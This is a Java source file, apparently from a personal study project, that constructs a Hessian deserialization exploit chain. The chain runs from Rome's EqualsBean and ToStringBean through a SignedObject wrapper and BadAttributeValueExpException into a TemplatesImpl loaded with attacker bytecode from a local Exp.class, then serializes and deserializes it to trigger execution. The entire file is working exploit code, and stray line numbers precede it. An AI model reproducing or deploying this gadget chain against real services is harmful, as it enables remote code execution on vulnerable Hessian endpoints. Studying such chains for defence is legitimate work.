12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ocean;  
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_TemplatesImpl_SignedObject {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("/Users/ocean/Cybersecurity/Java_project/Hessian_stu/src/main/java/Exp.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

HashMap hashMap = makeMap(equalsBean, equalsBean);

byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}